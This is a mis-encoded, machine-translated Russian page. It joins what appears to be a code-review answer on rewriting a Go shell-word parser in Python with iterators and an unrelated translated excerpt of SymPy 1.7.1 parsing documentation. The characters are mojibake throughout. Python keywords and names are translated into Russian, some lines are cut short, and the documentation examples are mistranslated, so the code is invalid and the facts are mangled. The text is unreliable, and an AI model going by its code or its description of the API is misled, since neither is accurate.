ΠΠ΅ΡΠ²ΡΠΉ ΠΏΠ΅ΡΠ΅ΠΌΠ΅ΡΠ°Π΅Ρ ΠΊΠΎΠ΄ ΠΈΠ· ΡΠ°Π·Π΄Π΅Π»ΠΎΠ² ΡΠΎΡΡΠΎΡΠ½ΠΈΠΉ Π±Π΅Π· ΡΠ²Π°ΠΆΠΈΡΠ΅Π»ΡΠ½ΠΎΠΉ ΠΏΡΠΈΡΠΈΠ½Ρ.
ΠΡΠΎΡΠΎΠΉ ΡΠ½ΠΈΠΌΠ°Π΅Ρ ΠΏΡΠΎΠ²Π΅ΡΠΊΠΈ.
ΠΡΠ°ΠΊ, Ρ Π±Ρ Π²Π΅ΡΠ½ΡΠ»ΡΡ ΠΊ ΠΏΠ΅ΡΠ΅Π²ΠΎΠ΄Ρ ΠΊΠΎΠ΄Π° Go 1: 1.
ΠΠ΄Π½Π°ΠΊΠΎ Π²ΠΌΠ΅ΡΡΠΎ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΡ ΠΌΠ΅ΡΠΎΠ΄Π° ΡΠΈΠΊΠ»Π° while Ρ Π±Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π» ΡΠΏΠΎΡΠΎΠ± ΠΈΡΠ΅ΡΠ°ΡΠΎΡΠ°.
ΠΈΠ½Π΄Π΅ΠΊΡΠΎΠ² = iter (Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ (len (ΡΠ΅ΠΊΡΡ)))
Π΄Π»Ρ ΠΈΠ½Π΄Π΅ΠΊΡΠ° Π² ΠΈΠ½Π΄Π΅ΠΊΡΠ°Ρ
:
Π΅ΡΠ»ΠΈ (ΠΊΠ°ΠΊΠΎΠΉ-ΡΠΎ ΡΠ΅ΡΡ):
ΠΡΠΎΠ΄ΠΎΠ»ΠΆΠΈΡΡ
Π΅ΡΠ»ΠΈ (ΠΊΠ°ΠΊΠΎΠΉ-ΡΠΎ Π΄ΡΡΠ³ΠΎΠΉ ΡΠ΅ΡΡ):
index = next (ΠΈΠ½Π΄Π΅ΠΊΡΡ)
ΠΠΌΠ΅ΡΡΠΎ Π²Π°ΡΠ΅Π³ΠΎ Π½ΡΠ½Π΅ΡΠ½Π΅Π³ΠΎ ΠΎΠ±ΡΠ°Π·Π°:
ΠΈΠ½Π΄Π΅ΠΊΡ = 0
ΠΏΠΎΠΊΠ° ΠΈΠ½Π΄Π΅ΠΊΡ
ΠΠ΅ΡΠ²ΠΎΠ΅ Π½Π°ΠΌΠ½ΠΎΠ³ΠΎ Π±ΠΎΠ»Π΅Π΅ Π»Π°ΠΊΠΎΠ½ΠΈΡΠ½ΠΎ.
Π ΠΏΠΎΡΡΠΎΠΌΡ Π²Π°ΠΌ Π½ΡΠΆΠ½ΠΎ ΠΏΠΎΠ²ΡΠΎΡΠΈΡΡ ΠΏΠΎΠΏΡΡΠΊΡ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΡ ΠΊΠΎΠ΄Π° Go Π² ΡΡΠΎΠΉ ΡΠΎΡΠΌΠ΅:
def parse (ΡΠ΅ΠΊΡΡ):
ΡΠ»ΠΎΠ²Π° = []
word = []
ΡΠΎΡΡΠΎΡΠ½ΠΈΠ΅ = Π‘ΠΎΡΡΠΎΡΠ½ΠΈΠ΅.ΠΠΠ‘ΠΠΠ‘
ΡΠΈΡΠ°ΡΠ° = ''
allow_blank = ΠΠΎΠΆΡ
ΠΈΠ½Π΄Π΅ΠΊΡΡ = iter (Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ (len (ΡΠ΅ΠΊΡΡ) + 1))
Π΄Π»Ρ ΠΈΠ½Π΄Π΅ΠΊΡΠ° Π² ΠΈΠ½Π΄Π΅ΠΊΡΠ°Ρ
:
Π΅ΡΠ»ΠΈ index! = len (ΡΠ΅ΠΊΡΡ):
char = ΡΠ΅ΠΊΡΡ [ΠΈΠ½Π΄Π΅ΠΊΡ]
Π΅ΡΠ»ΠΈ ΡΠΎΡΡΠΎΡΠ½ΠΈΠ΅ State.SPACE:
Π΅ΡΠ»ΠΈ index == len (rest):
ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π°
Π΅ΡΠ»ΠΈ ΡΠΈΠΌΠ²ΠΎΠ» Π² ΠΏΡΠΎΠ±Π΅Π»Π΅:
ΠΡΠΎΠ΄ΠΎΠ»ΠΆΠΈΡΡ
state = State.WORD
if (ΡΠΎΡΡΠΎΡΠ½ΠΈΠ΅ State.WORD ΠΈΠ»ΠΈ ΡΠΎΡΡΠΎΡΠ½ΠΈΠ΅ State.QUOTE) ΠΈ index == len (ΡΠ΅ΠΊΡΡ):
Π΅ΡΠ»ΠΈ allow_blank ΠΈΠ»ΠΈ ΡΠ»ΠΎΠ²ΠΎ:
ΡΠ»ΠΎΠ²Π°.append ('.ΠΏΡΠΈΡΠΎΠ΅Π΄ΠΈΠ½ΠΈΡΡΡΡ (ΡΠ»ΠΎΠ²ΠΎ))
ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π°
Π΅ΡΠ»ΠΈ ΡΠΎΡΡΠΎΡΠ½ΠΈΠ΅ State.WORD:
Π΅ΡΠ»ΠΈ ΡΠΈΠΌΠ²ΠΎΠ» Π² ΠΏΡΠΎΠ±Π΅Π»Π΅:
state = State.SPACE
Π΅ΡΠ»ΠΈ allow_blank ΠΈΠ»ΠΈ ΡΠ»ΠΎΠ²ΠΎ:
words.append (''. join (ΡΠ»ΠΎΠ²ΠΎ))
word = []
allow_blank = ΠΠΎΠΆΡ
ΠΡΠΎΠ΄ΠΎΠ»ΠΆΠΈΡΡ
Π΅ΡΠ»ΠΈ ΡΠΈΠΌΠ²ΠΎΠ» Π² '\' "':
quote = char
allow_blank = ΠΡΡΠΈΠ½Π°
state = State.QUOTE
Π΅ΡΠ»ΠΈ char == TOKEN_ESCAPE:
Π΅ΡΠ»ΠΈ pos + 1 == len (ΡΠ΅ΠΊΡΡ):
ΠΡΠΎΠ΄ΠΎΠ»ΠΆΠΈΡΡ
ΡΠ»ΠΎΠ²ΠΎ.Π΄ΠΎΠ±Π°Π²ΠΈΡΡ (ΡΠΈΠΌΠ²ΠΎΠ»)
ΠΈΠ½Π΄Π΅ΠΊΡ + = 1
char = ΡΠ΅ΠΊΡΡ [ΠΈΠ½Π΄Π΅ΠΊΡ]
word.append (ΡΠΈΠΌΠ²ΠΎΠ»)
ΠΡΠΎΠ΄ΠΎΠ»ΠΆΠΈΡΡ
Π΅ΡΠ»ΠΈ ΡΠΎΡΡΠΎΡΠ½ΠΈΠ΅ State.QUOTE:
Π΅ΡΠ»ΠΈ char == ΡΠΈΡΠ°ΡΠ°:
state = State.WORD
Π΅ΡΠ»ΠΈ char == TOKEN_ESCAPE ΠΈ quote! = '\' ':
Π΅ΡΠ»ΠΈ pos + 1 == len (ΡΠ΅ΠΊΡΡ):
ΠΡΠΎΠ΄ΠΎΠ»ΠΆΠΈΡΡ
word.append (ΡΠΈΠΌΠ²ΠΎΠ»)
ΠΈΠ½Π΄Π΅ΠΊΡ + = 1
char = ΡΠ΅ΠΊΡΡ [ΠΈΠ½Π΄Π΅ΠΊΡ]
word.append (ΡΠΈΠΌΠ²ΠΎΠ»)
ΠΎΡΠ²Π΅ΡΠ½ΡΠ΅ ΡΠ»ΠΎΠ²Π°
ΠΠΎΡΠΊΠΎΠ»ΡΠΊΡ ΠΌΡ Π½Π΅ ΠΏΡΠΎΠ²ΠΎΠ΄ΠΈΠΌ ΡΠ΅ΡΠ΅Π½Π·ΠΈΡΠΎΠ²Π°Π½ΠΈΠ΅ ΠΊΠΎΠ΄Π° Π΄ΡΡΠ³ΠΈΡ Π»ΡΠ΄Π΅ΠΉ, Ρ Π½Π΅ Π±ΡΠ΄Ρ Π°Π½Π°Π»ΠΈΠ·ΠΈΡΠΎΠ²Π°ΡΡ ΡΡΠΎΡ ΠΊΠΎΠ΄.ΠΠ΄Π½Π°ΠΊΠΎ Ρ ΠΈΠ·ΠΌΠ΅Π½ΠΈΠ» Π΅Π³ΠΎ ΡΠ»Π΅Π΄ΡΡΡΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ:
- ΠΡΠ²Π΅Π΄ΠΈΡΠ΅ ΠΏΠΎΡΠ»Π΅Π΄Π½Π΅Π΅ ΠΏΡΠΈΡΠΎΠ΅Π΄ΠΈΠ½Π΅Π½ΠΈΠ΅ ΠΈΠ· ΡΠΈΠΊΠ»Π°. ΠΠΎ ΡΠ΅ΠΊΠΈ ΡΠΎΡ ΡΠ°Π½ΠΈΠ». ΠΡΠ΅ ΠΎΠ½ΠΈ.
- Π£Π΄Π°Π»Π΅Π½Ρ ΡΡΡΠ°ΡΠ΅Π²ΡΠΈΠ΅ ΠΏΡΠΎΠ²Π΅ΡΠΊΠΈ ΠΈΠ½Π΄Π΅ΠΊΡΠ°.
- ΠΠ· ΠΊΠΎΠ΄Π° ΡΠ΄Π°Π»Π΅Π½ ΠΈΠ½Π΄Π΅ΠΊΡ.
- ΠΠ±ΡΠ΅Π΄ΠΈΠ½Π΅Π½ ΠΊΠΎΠ΄
TOKEN_ESCAPE
.
Π§ΡΠΎ ΠΏΡΠΈΠ²Π΅Π»ΠΎ ΠΊ:
ΠΈΠ· ΡΡΡΠΎΠΊΠΈ ΠΈΠΌΠΏΠΎΡΡΠΈΡΠΎΠ²Π°ΡΡ ΠΏΡΠΎΠ±Π΅Π»Ρ ΠΊΠ°ΠΊ ΠΏΡΠΎΠ±Π΅Π»Ρ
def enum (* ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»ΡΠ½ΡΠΉ, ** Π½Π°Π·Π²Π°Π½Π½ΡΠΉ):
enums = dict (zip (ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»ΡΠ½ΡΠΉ, Π΄ΠΈΠ°ΠΏΠ°Π·ΠΎΠ½ (len (ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»ΡΠ½ΡΠΉ))), ** ΠΈΠΌΠ΅Π½ΠΎΠ²Π°Π½Π½ΡΠΉ)
Π²ΠΎΠ·Π²ΡΠ°ΡΠ°Π΅ΠΌΡΠΉ ΡΠΈΠΏ ('Enum', (), enums)
Π‘ΠΎΡΡΠΎΡΠ½ΠΈΠ΅ = ΠΏΠ΅ΡΠ΅ΡΠΈΡΠ»Π΅Π½ΠΈΠ΅ ('ΠΠ ΠΠΠΠ', 'Π‘ΠΠΠΠ', 'Π¦ΠΠ’ΠΠ’Π')
TOKEN_ESCAPE = '\\'
def parse (ΡΠ΅ΠΊΡΡ):
ΡΠ»ΠΎΠ²Π° = []
word = []
ΡΠΎΡΡΠΎΡΠ½ΠΈΠ΅ = Π‘ΠΎΡΡΠΎΡΠ½ΠΈΠ΅.ΠΠΠ‘ΠΠΠ‘
ΡΠΈΡΠ°ΡΠ° = ''
allow_blank = ΠΠΎΠΆΡ
text_ = iter (ΡΠ΅ΠΊΡΡ)
Π΄Π»Ρ ΡΠΈΠΌΠ²ΠΎΠ»Π° Π² text_:
Π΅ΡΠ»ΠΈ ΡΠΎΡΡΠΎΡΠ½ΠΈΠ΅ State.SPACE:
Π΅ΡΠ»ΠΈ ΡΠΈΠΌΠ²ΠΎΠ» Π² ΠΏΡΠΎΠ±Π΅Π»Π΅:
ΠΡΠΎΠ΄ΠΎΠ»ΠΆΠΈΡΡ
state = State.WORD
Π΅ΡΠ»ΠΈ ΡΠΎΡΡΠΎΡΠ½ΠΈΠ΅ State.WORD:
Π΅ΡΠ»ΠΈ ΡΠΈΠΌΠ²ΠΎΠ» Π² ΠΏΡΠΎΠ±Π΅Π»Π΅:
state = State.SPACE
Π΅ΡΠ»ΠΈ allow_blank ΠΈΠ»ΠΈ ΡΠ»ΠΎΠ²ΠΎ:
words.append (''. join (ΡΠ»ΠΎΠ²ΠΎ))
word = []
allow_blank = ΠΠΎΠΆΡ
ΠΡΠΎΠ΄ΠΎΠ»ΠΆΠΈΡΡ
Π΅ΡΠ»ΠΈ ΡΠΈΠΌΠ²ΠΎΠ» Π² '\' "':
quote = char
allow_blank = ΠΡΡΠΈΠ½Π°
ΡΠΎΡΡΠΎΡΠ½ΠΈΠ΅ = Π‘ΠΎΡΡΠΎΡΠ½ΠΈΠ΅.Π¦ΠΠ’ΠΠ ΠΠΠΠ’Π¬
ΡΠΎΡΡΠΎΡΠ½ΠΈΠ΅ elif - State.QUOTE:
Π΅ΡΠ»ΠΈ char == ΡΠΈΡΠ°ΡΠ°:
state = State.WORD
Π΅ΡΠ»ΠΈ char == TOKEN_ESCAPE ΠΈ ((ΡΠΎΡΡΠΎΡΠ½ΠΈΠ΅ State.WORD) ΠΈΠ»ΠΈ
(ΡΠΎΡΡΠΎΡΠ½ΠΈΠ΅ State.QUOTE ΠΈ ΡΠΈΡΠ°ΡΠ°! = '\' ')):
new_char = ΡΠ»Π΅Π΄ΡΡΡΠΈΠΉ (ΡΠ΅ΠΊΡΡ_, StopIteration)
Π΅ΡΠ»ΠΈ new_char - StopIteration:
ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π°
word.append (ΡΠΈΠΌΠ²ΠΎΠ»)
char = new_char
word.append (ΡΠΈΠΌΠ²ΠΎΠ»)
if (ΡΠΎΡΡΠΎΡΠ½ΠΈΠ΅ State.WORD ΠΈΠ»ΠΈ ΡΠΎΡΡΠΎΡΠ½ΠΈΠ΅ State.QUOTE):
Π΅ΡΠ»ΠΈ allow_blank ΠΈΠ»ΠΈ ΡΠ»ΠΎΠ²ΠΎ:
ΡΠ»ΠΎΠ²Π°.append (''. join (ΡΠ»ΠΎΠ²ΠΎ))
ΠΎΡΠ²Π΅ΡΠ½ΡΠ΅ ΡΠ»ΠΎΠ²Π°
ΠΏΠ΅ΡΠ°ΡΡ (ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΉ Π°Π½Π°Π»ΠΈΠ· ('ΡΡ'))
print (parse ('foo bar'))
print (parse ('foo bar \' abc xyz \ ''))
print (parse ('foo bar "abc xyz"'))
print (parse ('foo bar "abc xyz" \\'))
print (parse ('foo bar "abc \\" def \\ "xyz"'))
ΠΠ½Π°Π»ΠΈΠ·
- Π΄ΠΎΠΊΡΠΌΠ΅Π½ΡΠ°ΡΠΈΡ SymPy 1.7.1
Π‘ΠΏΡΠ°Π²ΠΎΡΠ½ΠΈΠΊ ΠΏΠΎ ΡΡΠ½ΠΊΡΠΈΡΠΌ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π°
-
sympy.parsing.sympy_parser.
parse_expr
( s , local_dict = None , transformations = () , global_dict = None , Assessment = True ) [ΠΈΡΡΠΎΡΠ½ΠΈΠΊ] ΠΡΠ΅ΠΎΠ±ΡΠ°Π·ΡΠ΅Ρ ΡΡΡΠΎΠΊΡ
s
Π² Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠ΅ SymPy, Π²local_dict
- ΠΠ°ΡΠ°ΠΌΠ΅ΡΡΡ
Ρ : ΡΠ»
local_dict : dict, Π½Π΅ΠΎΠ±ΡΠ·Π°ΡΠ΅Π»ΡΠ½ΠΎ
Π‘Π»ΠΎΠ²Π°ΡΡ Π»ΠΎΠΊΠ°Π»ΡΠ½ΡΡ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΡΡ Π΄Π»Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΡ ΠΏΡΠΈ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠΌ Π°Π½Π°Π»ΠΈΠ·Π΅.
global_dict : dict, Π½Π΅ΠΎΠ±ΡΠ·Π°ΡΠ΅Π»ΡΠ½ΠΎ
Π‘Π»ΠΎΠ²Π°ΡΡ Π³Π»ΠΎΠ±Π°Π»ΡΠ½ΡΡ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΡΡ . ΠΠΎ ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ ΡΡΠΎ ΠΈΠ½ΠΈΡΠΈΠ°Π»ΠΈΠ·ΠΈΡΠΎΠ²Π°Π½ΠΎ
ΡΠΎΡ sympy import *
; ΠΏΡΠ΅Π΄ΠΎΡΡΠ°Π²ΡΡΠ΅ ΡΡΠΎΡ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡ, ΡΡΠΎΠ±Ρ ΠΏΠ΅ΡΠ΅ΠΎΠΏΡΠ΅Π΄Π΅Π»ΠΈΡΡ
ΡΡΠΎ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ (Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ, Π΄Π»Ρ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π°Β«Q&SΒ»
).ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΠΉ : ΠΊΠΎΡΡΠ΅ΠΆ, Π½Π΅ΠΎΠ±ΡΠ·Π°ΡΠ΅Π»ΡΠ½ΠΎ
ΠΠΎΡΡΠ΅ΠΆ ΡΡΠ½ΠΊΡΠΈΠΉ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΡ, ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΠ΅ΠΌΡΡ Π΄Π»Ρ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΡ ΡΠΎΠΊΠ΅Π½ΠΎΠ²
ΠΏΡΠΎΠ°Π½Π°Π»ΠΈΠ·ΠΈΡΠΎΠ²Π°Π½Π½ΠΎΠ΅ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠ΅ ΠΏΠ΅ΡΠ΅Π΄ ΠΎΡΠ΅Π½ΠΊΠΎΠΉ.ΠΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΡ ΠΏΠΎ ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ
ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°ΡΡ ΡΠΈΡΠ»ΠΎΠ²ΡΠ΅ Π»ΠΈΡΠ΅ΡΠ°Π»Ρ Π² ΠΈΡ ΡΠΊΠ²ΠΈΠ²Π°Π»Π΅Π½ΡΡ SymPy, ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°ΡΡ
Π½Π΅ΠΎΠΏΡΠ΅Π΄Π΅Π»Π΅Π½Π½ΡΠ΅ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΡΠ΅ Π² ΡΠΈΠΌΠ²ΠΎΠ»Ρ SymPy ΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡΡ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ ΡΡΠ°Π½Π΄Π°ΡΡΠ½ΡΠ΅
ΠΌΠ°ΡΠ΅ΠΌΠ°ΡΠΈΡΠ΅ΡΠΊΠ°Ρ Π·Π°ΠΏΠΈΡΡ ΡΠ°ΠΊΡΠΎΡΠΈΠ°Π»Π° (Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ,x!
).ΠΎΡΠ΅Π½ΠΊΠ° : bool, Π½Π΅ΠΎΠ±ΡΠ·Π°ΡΠ΅Π»ΡΠ½ΠΎ
ΠΡΠΈ Π·Π½Π°ΡΠ΅Π½ΠΈΠΈ False ΠΏΠΎΡΡΠ΄ΠΎΠΊ Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠΎΠ² ΠΎΡΡΠ°Π½Π΅ΡΡΡ ΡΠ°ΠΊΠΈΠΌ ΠΆΠ΅, ΠΊΠ°ΠΊ ΠΈ Π²
ΡΡΡΠΎΠΊΠ° ΠΈ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΡΠ΅ΡΠΊΠΎΠ΅ ΡΠΏΡΠΎΡΠ΅Π½ΠΈΠ΅, ΠΊΠΎΡΠΎΡΠΎΠ΅ ΠΎΠ±ΡΡΠ½ΠΎ ΠΏΡΠΎΠΈΡΡ ΠΎΠ΄ΠΈΡ, ΡΡΠΎ
ΠΏΠΎΠ΄Π°Π²Π»Π΅Π½. (ΡΠΌ. ΠΏΡΠΈΠΌΠ΅ΡΡ)
ΠΡΠΈΠΌΠ΅ΡΡ
>>> ΠΎΡ sympy.parsing.sympy_parser import parse_expr >>> parse_expr ("1/2") 1/2 >>> ΡΠΈΠΏ (_) <ΠΊΠ»Π°ΡΡ 'sympy.core.numbers.Half'> >>> from sympy.parsing.sympy_parser import standard_transformations, \ ... implicit_multiplication_application >>> ΡΡΠ°Π½ΡΡΠΎΡΠΌΠ°ΡΠΈΠΈ = (ΡΡΠ°Π½Π΄Π°ΡΡΠ½ΡΠ΅_ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΡ + ... (Π½Π΅ΡΠ²Π½ΠΎΠ΅_ΠΌΠ½ΠΎΠΆΠ΅Π½ΠΈΠ΅_ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅,)) >>> parse_expr ("2x", ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΡ = ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΡ) 2 * Ρ
ΠΡΠ»ΠΈ ΠΎΡΠ΅Π½ΠΊΠ° = False, Π½Π΅ΠΊΠΎΡΠΎΡΡΠ΅ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΡΠ΅ΡΠΊΠΈΠ΅ ΡΠΏΡΠΎΡΠ΅Π½ΠΈΡ Π½Π΅ ΠΏΡΠΎΠΈΠ·ΠΎΠΉΠ΄ΡΡ:
>>> parse_expr ("2 ** 3"), parse_expr ("2 ** 3", Assessment = False) (8, 2 ** 3)
ΠΡΠΎΠΌΠ΅ ΡΠΎΠ³ΠΎ, ΠΏΠΎΡΡΠ΄ΠΎΠΊ Π°ΡΠ³ΡΠΌΠ΅Π½ΡΠΎΠ² Π½Π΅ Π±ΡΠ΄Π΅Ρ ΠΊΠ°Π½ΠΎΠ½ΠΈΡΠ΅ΡΠΊΠΈΠΌ.ΠΡΠ° ΡΡΠ½ΠΊΡΠΈΡ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ ΡΠΎΡΠ½ΠΎ ΠΎΠΏΡΠ΅Π΄Π΅Π»ΠΈΡΡ, ΠΊΠ°ΠΊ Π±ΡΠ»ΠΎ Π²Π²Π΅Π΄Π΅Π½ΠΎ Π²ΡΡΠ°ΠΆΠ΅Π½ΠΈΠ΅:
>>> a = parse_expr ('1 + x', ΠΎΡΠ΅Π½ΠΊΠ° = Π»ΠΎΠΆΡ) >>> b = parse_expr ('x + 1', ΠΎΡΠ΅Π½ΠΊΠ° = 0) >>> Π° == Π± ΠΠΎΠΆΡ >>> a.args (1, Ρ ) >>> b.args (Ρ , 1)
-
sympy.parsing.sympy_parser.
stringify_expr
( s , local_dict , global_dict , ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΡ ) [ΠΈΡΡΠΎΡΠ½ΠΈΠΊ] ΠΡΠ΅ΠΎΠ±ΡΠ°Π·ΡΠ΅Ρ ΡΡΡΠΎΠΊΡ
s
Π² ΠΊΠΎΠ΄ Python, Π²local_dict
ΠΠ±ΡΡΠ½ΠΎ ΡΠ»Π΅Π΄ΡΠ΅Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ
parse_expr
.
-
sympy.parsing.sympy_parser.
eval_expr
( code , local_dict , global_dict ) [ΠΈΡΡΠΎΡΠ½ΠΈΠΊ] ΠΡΠ΅Π½ΠΈΡΡ ΠΊΠΎΠ΄ Python, ΡΠ³Π΅Π½Π΅ΡΠΈΡΠΎΠ²Π°Π½Π½ΡΠΉ
stringify_expr
.ΠΠ±ΡΡΠ½ΠΎ ΡΠ»Π΅Π΄ΡΠ΅Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ
parse_expr
.
-
sympy.parsing.maxima.
parse_maxima
( str , globals = None , name_dict = {} ) [ΠΈΡΡΠΎΡΠ½ΠΈΠΊ]
-
sympy.parsing.mathematica.
mathematica
( s , additional_translations = None ) [ΠΈΡΡΠΎΡΠ½ΠΈΠΊ] ΠΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»ΠΈ ΠΌΠΎΠ³ΡΡ Π΄ΠΎΠ±Π°Π²ΠΈΡΡ ΡΠ²ΠΎΠΉ ΡΠΎΠ±ΡΡΠ²Π΅Π½Π½ΡΠΉ ΡΠ»ΠΎΠ²Π°ΡΡ ΠΏΠ΅ΡΠ΅Π²ΠΎΠ΄Π°.
ΠΡΠ³ΡΠΌΠ΅Π½Ρ ΠΏΠ΅ΡΠ΅ΠΌΠ΅Π½Π½ΠΎΠΉ Π΄Π»ΠΈΠ½Ρ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΡΠΎΠ΄Π΅ΡΠΆΠ°ΡΡ ΡΠΈΠΌΠ²ΠΎΠ» Β«*Β».ΠΡΠΈΠΌΠ΅ΡΡ
>>> ΠΈΠ· sympy.parsing.mathematica import mathematica >>> mathematica ('Log3 [9]', {'Log3 [x]': 'log (x, 3)'}) 2 >>> mathematica ('F [7,5,3]', {'F [* x]': 'ΠΠ°ΠΊΡ (* x) * ΠΠΈΠ½ (* x)'}) 21 Π³ΠΎΠ΄
Π‘ΠΏΡΠ°Π²ΠΎΡΠ½ΠΈΠΊ ΠΏΠΎ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΡΠΌ ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΎΠ³ΠΎ Π°Π½Π°Π»ΠΈΠ·Π°
ΠΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΠ΅ - ΡΡΠΎ ΡΡΠ½ΠΊΡΠΈΡ, ΠΊΠΎΡΠΎΡΠ°Ρ ΠΏΡΠΈΠ½ΠΈΠΌΠ°Π΅Ρ Π°ΡΠ³ΡΠΌΠ΅Π½ΡΡ ΡΠΎΠΊΠ΅Π½ΠΎΠ²,
ΠΈ Π²ΠΎΠ·Π²ΡΠ°ΡΠ°Π΅Ρ ΡΠΏΠΈΡΠΎΠΊ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½Π½ΡΡ
ΡΠΎΠΊΠ΅Π½ΠΎΠ².ΠΠ½ΠΈ ΠΌΠΎΠ³ΡΡ
local_dict, global_dict
ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡΡΡ ΠΏΡΡΠ΅ΠΌ ΠΏΠ΅ΡΠ΅Π΄Π°ΡΠΈ ΡΠΏΠΈΡΠΊΠ° ΡΡΠ½ΠΊΡΠΈΠΉ Π² parse_expr ()
ΠΈ
ΠΏΡΠΈΠΌΠ΅Π½ΡΠ΅ΡΡΡ Π² ΡΠΊΠ°Π·Π°Π½Π½ΠΎΠΌ ΠΏΠΎΡΡΠ΄ΠΊΠ΅.
-
sympy.parsing.sympy_parser.
standard_transformations
= (<ΡΡΠ½ΠΊΡΠΈΡ lambda_notation>, <ΡΡΠ½ΠΊΡΠΈΡ auto_symbol>, <ΡΡΠ½ΠΊΡΠΈΡ repeat_decimals>, <ΡΡΠ½ΠΊΡΠΈΡ auto_number>,) Π‘ΡΠ°Π½Π΄Π°ΡΡΠ½ΡΠ΅ ΠΏΡΠ΅ΠΎΠ±ΡΠ°Π·ΠΎΠ²Π°Π½ΠΈΡ Π΄Π»Ρ
parse_expr ()
.
ΠΡΡΠ°Π²Π»ΡΠ΅Ρ Π²ΡΠ·ΠΎΠ²Ρ Π²Symbol
,Integer
ΠΈ Π΄ΡΡΠ³ΠΈΠ΅ SymPy
ΡΠΈΠΏΠΎΠ² Π΄Π°Π½Π½ΡΡ ΠΈ ΠΏΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ ΡΡΠ°Π½Π΄Π°ΡΡΠ½ΡΡ ΡΠ°ΠΊΡΠΎΡΠΈΠ°Π»ΡΠ½ΡΡ Π½ΠΎΡΠ°ΡΠΈΡ (Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ,Π³ΡΠ°ΠΌΠΌ.Ρ !
).
-
sympy.parsing.sympy_parser.
split_symbols
( ΡΠΎΠΊΠ΅Π½ , local_dict , global_dict ) [ΠΈΡΡΠΎΡΠ½ΠΈΠΊ] Π Π°Π·Π΄Π΅Π»ΡΠ΅Ρ ΠΈΠΌΠ΅Π½Π° ΡΠΈΠΌΠ²ΠΎΠ»ΠΎΠ² Π΄Π»Ρ Π½Π΅ΡΠ²Π½ΠΎΠ³ΠΎ ΡΠΌΠ½ΠΎΠΆΠ΅Π½ΠΈΡ.
